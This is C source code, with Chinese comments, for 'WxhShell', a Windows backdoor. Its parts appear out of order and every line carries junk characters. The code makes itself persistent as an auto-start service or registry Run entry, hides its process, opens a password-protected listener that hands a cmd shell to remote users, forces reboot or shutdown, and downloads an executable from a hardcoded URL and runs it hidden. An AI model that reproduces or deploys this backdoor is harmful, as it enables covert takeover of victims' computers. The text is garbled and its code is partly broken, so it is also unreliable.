    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r_d! ikOT(  
    else { SX#&5Ka/  
    closesocket(wsh); ^rz_f{c]-  
    ExitThread(0); /kG_*>.Z  
    } /_.|E]  
    break; IGgL7^MF  
    } ,: ^u-b|  
  // 获取shell ~"bV L[  
  case 's': { =MWHJ'3-/  
    CmdShell(wsh); 3c%caK  
    closesocket(wsh); g2]Qv@nxw  
    ExitThread(0); u@444Vzg  
    break; `@%LzeGz  
  } X-/]IH DN  
  // 退出 3U}%2ARo_  
  case 'x': { ^f@=:eWI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [><Tm \(:  
    CloseIt(wsh); Lj7AZ|k  
    break; 3$/IC@+  
    } ';"VDLb3  
  // 离开 MOC/KNb  
  case 'q': { YZ7.1`8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z!\*Y =e  
    closesocket(wsh); r|Z{-*`  
    WSACleanup(); w(F%^o\  
    exit(1); 0}9h]X'  
    break; ipz5H*  
        } !~Z"9(v'C  
  } ,//S`j$S  
  } 8EY:t zw  
(% 9$!v{3  
  // 提示信息 0{mex4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k=^xVQuI  
} ('~LMu_  
  } &Qm@9Is  
V6Dbd" i9  
  return; tp|d*7^i  
} M%#e1"n  
2qp#N%  
// shell模块句柄 P2Y^d#jO  
int CmdShell(SOCKET sock) !9x}  
{ R-Sym8c  
STARTUPINFO si; TZ`SZDc7_  
ZeroMemory(&si,sizeof(si)); 8Y?;x}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q(}bfIf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L(\cHb9`  
PROCESS_INFORMATION ProcessInfo; .^.z2 e  
char cmdline[]="cmd"; (.,G=\!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >3bCTE   
  return 0; ,?3G;-  
} E"0>yl)  
>d6|^h'0  
// 自身启动模式 adw2x pj  
int StartFromService(void) .(vwIb8\_  
{ .V*^|UXbHi  
typedef struct EK'!}OGCG  
{ 2pAW9R#UV-  
  DWORD ExitStatus; v0y(58Rz.  
  DWORD PebBaseAddress; 0IpmRH/  
  DWORD AffinityMask; r*Xuj=  
  DWORD BasePriority; 28nFRr  
  ULONG UniqueProcessId; SAz   
  ULONG InheritedFromUniqueProcessId; =">NQ)98u  
}   PROCESS_BASIC_INFORMATION; j!ch5A  
nDW9NQ  
PROCNTQSIP NtQueryInformationProcess; i9$ Av  
$8FUfJ1@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; snJ129}A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7o4\oRGV  
3a|\dav%  
  HANDLE             hProcess; m kexc~l  
  PROCESS_BASIC_INFORMATION pbi; oU/5 a>9~  
e# bn#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g=rbPbu  
  if(NULL == hInst ) return 0; c`W,~[Q<O+  
y)*RV;^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H>C=zo,oiC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \Cj B1] I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7 d vnupLh  
p#Bi>/C6  
  if (!NtQueryInformationProcess) return 0; (#'>(t(4  
NO3/rJ6-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j#6.Gq  
  if(!hProcess) return 0; qb4z T  
e;jdqF~v!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :pUtSs7p}  
Yw9GN2AG  
  CloseHandle(hProcess); ry!!9Z>9n  
W4N{S.#!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F5Va+z,jg  
if(hProcess==NULL) return 0; +qoRP2  
n|;Im&,  
HMODULE hMod; 6wxs1G  
char procName[255]; *8Z32c+C  
unsigned long cbNeeded; D]}G.v1  
Yz bXuJ4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "]dI1 g_  
AR=]=8  
  CloseHandle(hProcess); kP"9&R`E  
v:U-6W_)|  
if(strstr(procName,"services")) return 1; // 以服务启动 4Up/p&1@  
MJvp6n  
  return 0; // 注册表启动 Vc2`b3"Br  
} m2o0y++TjW  
68 sB )R  
// 主模块 6pzSp  
int StartWxhshell(LPSTR lpCmdLine) q7!{?\T%  
{ ] @'!lhLi  
  SOCKET wsl; xU vs:  
BOOL val=TRUE; 99S ^f:t  
  int port=0; Y} /-C3)  
  struct sockaddr_in door; P%6~&woF  
: 'c&,oLY  
  if(wscfg.ws_autoins) Install(); xmG<]WF>E  
G#CXs:1pd+  
port=atoi(lpCmdLine); liZxBs :%i  
?0SEMmp`H  
if(port<=0) port=wscfg.ws_port; #?E"x/$Y6  
9F vFhY  
  WSADATA data; g*Phv|kI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1,~D4lD|  
y^k$Us  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KP"+e:a%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Rv=YFo[B  
  door.sin_family = AF_INET; ;,TFr}p`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \8 ":]EU  
  door.sin_port = htons(port); Tk>#G{Wb-  
@oNXZRg6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0erNc'e  
closesocket(wsl); U(Zq= M  
return 1; 9z0p5)]n>  
} phK/   
|zU-KGO&  
  if(listen(wsl,2) == INVALID_SOCKET) { XkqCZHYkS  
closesocket(wsl); I*&8^ r:A  
return 1; "8/,Y"W"  
} >7FHo-H/T  
  Wxhshell(wsl); N;d] 14|  
  WSACleanup(); u y+pP!<  
/{[o ~:'p  
return 0; mR~&)QBP.  
[Zrr)8A  
} XG?8s &  
Fs{*XKv&lH  
// 以NT服务方式启动 G)YcJv7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *_e3 @g  
{ N;R^h? '  
DWORD   status = 0; q| 7(  
  DWORD   specificError = 0xfffffff; ==B6qX8T  
,_P-$lB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b' y%n   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >eaaaq9B-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; so; ]&  
  serviceStatus.dwWin32ExitCode     = 0; G5!^*jf  
  serviceStatus.dwServiceSpecificExitCode = 0; \^LFkp  
  serviceStatus.dwCheckPoint       = 0; <$YlH@;)`a  
  serviceStatus.dwWaitHint       = 0; vIvIfE  
Y@v>FlqI{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YQ} o?Q$z  
  if (hServiceStatusHandle==0) return; Q/?$x*\>  
[KQi.u  
status = GetLastError(); Kq!3wb;  
  if (status!=NO_ERROR) }b}m3i1  
{ yVfC-Z   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vX>)je5#  
    serviceStatus.dwCheckPoint       = 0; {I ((p_  
    serviceStatus.dwWaitHint       = 0; _GPe<H  
    serviceStatus.dwWin32ExitCode     = status; <%^&2UMg  
    serviceStatus.dwServiceSpecificExitCode = specificError; FwK] $4*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NHt\ U9l'  
    return; rjP/l6 ~'  
  } @CoIaUVP  
lYIH/:T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `XKLU  
  serviceStatus.dwCheckPoint       = 0; JC"z&ka  
  serviceStatus.dwWaitHint       = 0; eE Kf|I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K:M8h{Ua  
} =D(j)<9$A  
m~|40)   
// 处理NT服务事件,比如:启动、停止 0J|3kY-n>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cK@wsA^4  
{ <v2;p}A  
switch(fdwControl) Q59suL   
{ ?0.NIu,,o  
case SERVICE_CONTROL_STOP: +3gp%`c4  
  serviceStatus.dwWin32ExitCode = 0; =wJX 0A|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K"6vXv4QO  
  serviceStatus.dwCheckPoint   = 0; iscz}E,Y  
  serviceStatus.dwWaitHint     = 0; #Z#-Ht  
  { X2_=agEP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  }ZI7J  
  } V9vTsmo(  
  return; Iv *<L a  
case SERVICE_CONTROL_PAUSE: im8CmQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B~mj 8l4  
  break; :s,Z<^5a)g  
case SERVICE_CONTROL_CONTINUE: ~u{uZ(~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SM '|+ d  
  break; bcyzhK=  
case SERVICE_CONTROL_INTERROGATE: 1 zZlC#V  
  break; ]5O~+Nf  
}; =]t|];c%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0b>h$OU/  
} Xvv6~  
=l6mL+C  
// 标准应用程序主函数 #E?4E1bnB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %>yL1BeA4  
{ \+etCo   
M:8R -c#![  
// 获取操作系统版本 `uFdwO'DD  
OsIsNt=GetOsVer(); {ax:RUQxy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /z!%d%"  
}C:r 9? T  
  // 从命令行安装 \zY!qpX<  
  if(strpbrk(lpCmdLine,"iI")) Install(); O^.#d  
~&T~1xsFJ  
  // 下载执行文件 \m,PA'nd/  
if(wscfg.ws_downexe) { LLo;\WGZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dG{A~Z z  
  WinExec(wscfg.ws_filenam,SW_HIDE);  g-A-kqo9  
} r$1Qf}J3=  
yevPHN"M  
if(!OsIsNt) { )4OxY[2J  
// 如果时win9x,隐藏进程并且设置为注册表启动 {=WgzP  
HideProc(); <} .$l  
StartWxhshell(lpCmdLine); "g|#B4'e  
} NUZl`fu1Z4  
else 6<]lW  
  if(StartFromService()) 2iOV/=+  
  // 以服务方式启动 YVU7wW,1  
  StartServiceCtrlDispatcher(DispatchTable); \G[$:nS  
else >%G1"d?j  
  // 普通方式启动 H)?z #x  
  StartWxhshell(lpCmdLine); h\o.&6sd  
j^'go&p  
return 0; 8Wx=p#_  
} A<{{iBEI`  
d~H`CrQE*  
?}0,o.  
|N2#ItBbW  
=========================================== Za9qjBH   
tYS06P^<  
KHme&yMq  
]`K2 N  
'NmRR]Q9  
~a:  
" vQCy\Gi   
}j%5t ~Qa  
#include <stdio.h> Y|n"dMrL  
#include <string.h>  )2.Si#  
#include <windows.h> M-71 1|eGI  
#include <winsock2.h> # ] QZ  
#include <winsvc.h> wj,=$RX  
#include <urlmon.h> +whDU2 "  
q 1,~  
#pragma comment (lib, "Ws2_32.lib") <YY14p  
#pragma comment (lib, "urlmon.lib") #a6iuO0I  
$mILoy B,  
#define MAX_USER   100 // 最大客户端连接数 ! mHO$bQ"  
#define BUF_SOCK   200 // sock buffer p2eGm-Erq  
#define KEY_BUFF   255 // 输入 buffer Ew N}l  
ueudRb  
#define REBOOT     0   // 重启 d-qUtgqV86  
#define SHUTDOWN   1   // 关机 Cy e.gsCT  
U6K|fY N`  
#define DEF_PORT   5000 // 监听端口 1#x0q:6  
XSRsGTCC=  
#define REG_LEN     16   // 注册表键长度 @]j1:PN-  
#define SVC_LEN     80   // NT服务名长度 w:0E(z  
kmW4:EA%  
// 从dll定义API >7|VR:U?B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LoV<:|GTI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qPNR`%}Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); It(_v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *wearCPeJ  
F5<H m_\:  
// wxhshell配置信息 By |4 m  
struct WSCFG { 7#Ft|5$~q  
  int ws_port;         // 监听端口 aN?zmkPpov  
  char ws_passstr[REG_LEN]; // 口令 7#XzrT]  
  int ws_autoins;       // 安装标记, 1=yes 0=no -RwE%  cr  
  char ws_regname[REG_LEN]; // 注册表键名 sRs>"zAg  
  char ws_svcname[REG_LEN]; // 服务名 4s- !7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vsPu*[%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~ljXzD93Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FrS]|=LJhX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M3\AY30L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 79gT+~z   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N8jIMb'<  
C dn J&N{  
}; u 9e@a9c  
K+eM   
// default Wxhshell configuration js(pC@<q5  
struct WSCFG wscfg={DEF_PORT, .('SW\u-  
    "xuhuanlingzhe", Z@HEj_n  
    1, [txE .7p  
    "Wxhshell", j#|ZP-=1_  
    "Wxhshell", -@'FW*b  
            "WxhShell Service", Lbgi7|&  
    "Wrsky Windows CmdShell Service", Wr 4,YQM  
    "Please Input Your Password: ", XFl 6M~ c  
  1, }bxs]?OW>  
  "http://www.wrsky.com/wxhshell.exe", c 9Mz]1@f  
  "Wxhshell.exe" 7Q 3k 7  
    }; Txu/{ M,  
BGSw~6  
// 消息定义模块 y29m/i:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P.cyO3l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -?\D\\+t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HMXE$d=[  
char *msg_ws_ext="\n\rExit."; BmT!aue  
char *msg_ws_end="\n\rQuit."; i!Ba]n   
char *msg_ws_boot="\n\rReboot..."; Gc?a+T  
char *msg_ws_poff="\n\rShutdown..."; _BufO7 `.  
char *msg_ws_down="\n\rSave to "; YK_ 7ip.a[  
)~>YH*g  
char *msg_ws_err="\n\rErr!"; L(-4w+  
char *msg_ws_ok="\n\rOK!"; 00(\ZUj  
VY-EmbkG-t  
char ExeFile[MAX_PATH]; X|dlt{Gf   
int nUser = 0; e\rp)[>'  
HANDLE handles[MAX_USER]; $xsd~L &  
int OsIsNt; pglVR </  
E .h*g8bXe  
SERVICE_STATUS       serviceStatus; 0GwR~Z}Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6tZI["\   
awRX1:T#;O  
// 函数声明 ~N4m1s"  
int Install(void); >*bvw~y,  
int Uninstall(void); ".%k6W<n  
int DownloadFile(char *sURL, SOCKET wsh); g)-te+?6  
int Boot(int flag); 5P bW[  
void HideProc(void); PCA4k.,T  
int GetOsVer(void); [),ige  
int Wxhshell(SOCKET wsl); C!gZN9-  
void TalkWithClient(void *cs); Ry&6p>-  
int CmdShell(SOCKET sock); tbr=aY$jY  
int StartFromService(void); X}]-*T|a  
int StartWxhshell(LPSTR lpCmdLine); R2NZ{"h  
6Wn1{v0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4+n\k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;uW FHc5@B  
i b m4fa  
// 数据结构和表定义 pH;%ELZ  
SERVICE_TABLE_ENTRY DispatchTable[] = %b0*H_ok7  
{ Jm@oDME_E  
{wscfg.ws_svcname, NTServiceMain}, 4H/OBR  
{NULL, NULL} SbZ6t$"  
}; [g,}gyeS(  
\V:^h [ad  
// 自我安装 z?zL97H  
int Install(void) >_} I.\ X  
{ }H2 R3icE  
  char svExeFile[MAX_PATH]; qs6aB0ln  
  HKEY key; okXl8&mi  
  strcpy(svExeFile,ExeFile); 9WHddDA  
gw(z1L5 n  
// 如果是win9x系统,修改注册表设为自启动 K3C<{#r  
if(!OsIsNt) { kfNWI#'9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f1? >h\F8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WIOV2+  
  RegCloseKey(key); ICCc./l|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M5B# TAybC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zs;JJk^  
  RegCloseKey(key); a*;b^Ze`v  
  return 0; ?2a$*(  
    } /reX{Y  
  } u2I Cl  
} BUFv|z+H  
else { =a!=2VN9y  
& kIFcd@  
// 如果是NT以上系统,安装为系统服务 :&Nbw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p_ =z#  
if (schSCManager!=0) AW .F3hN)  
{ 0:+E-^X  
  SC_HANDLE schService = CreateService DIvHvFss  
  ( i4Jc.8^9$  
  schSCManager, w!CNRtM:~  
  wscfg.ws_svcname, 6zkaOA46V  
  wscfg.ws_svcdisp, B!yr!DWv  
  SERVICE_ALL_ACCESS, 3T 9j@N77  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -&f$GUTJ  
  SERVICE_AUTO_START, |{;G2G1[  
  SERVICE_ERROR_NORMAL, s{++w5s  
  svExeFile, :,^gj  
  NULL, K,]=6 Rj  
  NULL, c,22*.V/  
  NULL, zi:BF60]=  
  NULL, 0V]s:S  
  NULL l%ZhA=TKQ  
  ); J1kM\8%b\  
  if (schService!=0) IID5c" oR  
  { )Z$!PqRw@u  
  CloseServiceHandle(schService);  -M2yw  
  CloseServiceHandle(schSCManager); Ymgw-NJ;(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iE{&*.q_}>  
  strcat(svExeFile,wscfg.ws_svcname); ,Q,^3*HX9}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q?T]MUY(L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VpUAeWb  
  RegCloseKey(key); &zhAh1m  
  return 0; 8fb'yjIC  
    } P2!C|SLK  
  } zX~MC?,W1  
  CloseServiceHandle(schSCManager); l,: F  
} Q&&@v4L   
} JRFtsio*  
)+M0Y_r  
return 1; hSMH,^Io$  
} DJir{ \F  
*A< 5*Db:F  
// 自我卸载 mq[ug>  
int Uninstall(void) BHw, 4#F1;  
{ *H122njH+T  
  HKEY key; F/Pep?'  
D0C y^_  
if(!OsIsNt) {  IB<d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t Pf40`@  
  RegDeleteValue(key,wscfg.ws_regname); fh{`Mz,o  
  RegCloseKey(key); q;U,s)Uz^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sGb{9.WK  
  RegDeleteValue(key,wscfg.ws_regname); yN c2@  
  RegCloseKey(key); KG@8RtHsQ  
  return 0; &{RDM~  
  } G j1_!.T  
} j9,P/K$:w  
} OTp]Xe/  
else { \1`O_DF~o  
AEuG v}#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )i<j XZ:O  
if (schSCManager!=0) eq"]%s  
{ Ug`djIL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [2koe.?(  
  if (schService!=0) b2]Kx&!  
  { jIF |P-  
  if(DeleteService(schService)!=0) { Bf:Q2slqI  
  CloseServiceHandle(schService); {U1m.30n  
  CloseServiceHandle(schSCManager); XM}hUJJW  
  return 0; Q^I\cAIB  
  } a6H%5N  
  CloseServiceHandle(schService); CJ%I51F`X  
  }  9a kH  
  CloseServiceHandle(schSCManager); x:7IIvP  
} {|\.i  
} _w Ot39e&  
iOdpM{~*  
return 1; fQ98(+6  
} +O5hH8<&b  
V+~Nalm O  
// 从指定url下载文件 �{x7,  
int DownloadFile(char *sURL, SOCKET wsh) L]Mo;kT<Q  
{ *qMY22X  
  HRESULT hr; v}(WaO#S  
char seps[]= "/"; iO[<1?  
char *token; Il.K"ll  
char *file; >f'g0g  
char myURL[MAX_PATH]; Ve=b16H  
char myFILE[MAX_PATH]; %bfZn9_m  
'n|5ZhXPB  
strcpy(myURL,sURL); 6^Sa;  
  token=strtok(myURL,seps); kN>!2UfNS  
  while(token!=NULL) `"~%bS  
  { QM]YJr3r E  
    file=token; @P" p+  
  token=strtok(NULL,seps); G\?YK.Y>  
  } `lPfb[b  
ipILG4  
GetCurrentDirectory(MAX_PATH,myFILE); 5-G@L?~Vw  
strcat(myFILE, "\\"); D6^6}1WI  
strcat(myFILE, file); H|D.6^  
  send(wsh,myFILE,strlen(myFILE),0); pmilrZmm]  
send(wsh,"...",3,0); \;-|-8Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4X$Qu6#i  
  if(hr==S_OK) -^57oU  
return 0; qw8Rlws%  
else d| {r5[&  
return 1; g*"P:n71  
]:f%l mEy  
} 6&-(&( _  
HmwT~  
// 系统电源模块 Wm3X[?V  
int Boot(int flag) 9,tej  
{  *,m;  
  HANDLE hToken; ? qA]w9x  
  TOKEN_PRIVILEGES tkp; r9lR|\Ax2U  
]q-Y }1di8  
  if(OsIsNt) { ^H' \"9;7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p^_yU_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k'"%.7$U!  
    tkp.PrivilegeCount = 1; @R  6@]Dm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U?=Dg1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "Pf~iwfw  
if(flag==REBOOT) { PuO&wI]:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hL5|69E  
  return 0; nLiY%x`S  
} `g})|Gx  
else { )Z VD+X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |W\(kb+  
  return 0; "T"h)L<  
} ##o#eZq:"  
  } ow#1="G,=  
  else { 42{:G8  
if(flag==REBOOT) { (M ~e?s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,1##p77.  
  return 0; N"1B/u  
} T n}s*<=V  
else { |&[EZ+[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6_ow%Rx~F  
  return 0; =>dGL|  
} <rmvcim{*  
} lA-h`rl /  
l0hlM#  
return 1; xjUtl  
} N&V`K0FU  
g>9kXP+  
// win9x进程隐藏模块 d'I"jZ  
void HideProc(void) w'3iY,_ufC  
{ -S+zmo8  
{u9}bx'<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f4Rf?w*  
  if ( hKernel != NULL ) p[lA\@l[  
  { GDy9qUV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gGS=cdlV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Rx|;=-8zg  
    FreeLibrary(hKernel); *cnNuT  
  } {91nL'-'  
Zsh9>]M L  
return; Pc o'l#:  
} v6Vcjm  
v]c6R-U  
// 获取操作系统版本 /^|Dbx!u  
int GetOsVer(void) R^e.s -  
{ LYg- .~<I  
  OSVERSIONINFO winfo; HX{`Vah E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w8D"CwS1Rx  
  GetVersionEx(&winfo); A_#DJJMm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !&Pui{F  
  return 1; /[>sf[X\I9  
  else T${Q.zHY[!  
  return 0; N{~Y J$!8  
} BI}Cg{^km  
3 SGDy]  
// 客户端句柄模块 HOh!Xcu  
int Wxhshell(SOCKET wsl) 14'45  
{ .k \@zQ|Ta  
  SOCKET wsh; u=_mvN  
  struct sockaddr_in client; t@Nyr&|D  
  DWORD myID; ]}(H0?OQR  
M {Q;:  
  while(nUser<MAX_USER) wIBO ^w\J  
{ 8Dm%@*B^b  
  int nSize=sizeof(client); K:Q<CQ2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iRi-cQVy  
  if(wsh==INVALID_SOCKET) return 1; %-e 82J1  
s&!a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '-/xyAzS  
if(handles[nUser]==0) -8rjgB~."/  
  closesocket(wsh); aCLqk'  
else mju>>\9  
  nUser++; LRMx<X8  
  } :TC@tM~Oy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NL0n009"c$  
QS]1daMIK<  
  return 0; Mzw X>3x  
} H? y,ie#u  
*``JamnSO  
// 关闭 socket Q({ r@*g  
void CloseIt(SOCKET wsh) m<qJcZk  
{ .Twk {p  
closesocket(wsh); R#8L\1l  
nUser--; Y]u+\y~  
ExitThread(0); [bNx^VP*  
} _M5|Y@XN-  
3K/MvNI>  
// 客户端请求句柄 ^_5r<{7/ :  
void TalkWithClient(void *cs) gH3vk $WS  
{ {LQ#y/H?  
@<]Ekkg  
  SOCKET wsh=(SOCKET)cs; h@WhNk7"xa  
  char pwd[SVC_LEN]; ?r+-  
  char cmd[KEY_BUFF]; {Z5nGG  
char chr[1]; 'W,jMju  
int i,j; Y<ql49-X  
9 ea\vZ  
  while (nUser < MAX_USER) { A;|D:;x3G  
~Ti'FhN  
if(wscfg.ws_passstr) { :e%Pvk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YNj`W1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {9aE5kR  
  //ZeroMemory(pwd,KEY_BUFF); "djw>|,N<  
      i=0; tlp@?(u  
  while(i<SVC_LEN) { 3az&<Pqb  
b e^6i:  
  // 设置超时 9lH?-~9  
  fd_set FdRead; x&T[*i  
  struct timeval TimeOut; WoRZW%  
  FD_ZERO(&FdRead); N;j)k;  
  FD_SET(wsh,&FdRead); s1=G;  
  TimeOut.tv_sec=8; &<U0ZvrsH  
  TimeOut.tv_usec=0; -FQ 'agf@&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )Z?Ym.0/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t9:0TBt-[  
.oUTqki  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6s/&BR  
  pwd=chr[0]; ?+a,m# Yx  
  if(chr[0]==0xd || chr[0]==0xa) { !|S43i&p  
  pwd=0; VsE9H]v   
  break; vV e';|8v  
  } Ab"@714@  
  i++; xzZ38xIhV  
    } o;R2p $  
P8)=Kbd  
  // 如果是非法用户,关闭 socket j*jo@N |  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }\:Nu Tf  
} G&V/Gj8  
iBgx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "z=SO1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [>%xd)8.c  
Om@C X<(9C  
while(1) { :GP]P^M;G@  
ApV~( k)W  
  ZeroMemory(cmd,KEY_BUFF); ~C`^6UQr/?  
4'A!; ]:  
      // 自动支持客户端 telnet标准   2=`o_<P'"  
  j=0; 04l!:Tp,  
  while(j<KEY_BUFF) { *P2S6z2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Kr,>sEAM  
  cmd[j]=chr[0]; ;^%4Q"  
  if(chr[0]==0xa || chr[0]==0xd) { QKN+>X  
  cmd[j]=0; 474SMx$  
  break; #(JNn'fzq  
  } 5ZK@`jkE  
  j++; (l- ab2'  
    } UsQ+`\|  
;J2zp*|  
  // 下载文件 ssRbhlD/*1  
  if(strstr(cmd,"http://")) { E:}r5S) 4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k$J zH$  
  if(DownloadFile(cmd,wsh)) u5 : q$P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /qGf 1MHD  
  else \2"I;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JYd 'Jp8bP  
  } ;he"ph=>  
  else { ^ xh;  
LNpup`>`  
    switch(cmd[0]) { #32"=MfQn  
  $5< #n@  
  // 帮助 $#S&QHyEe  
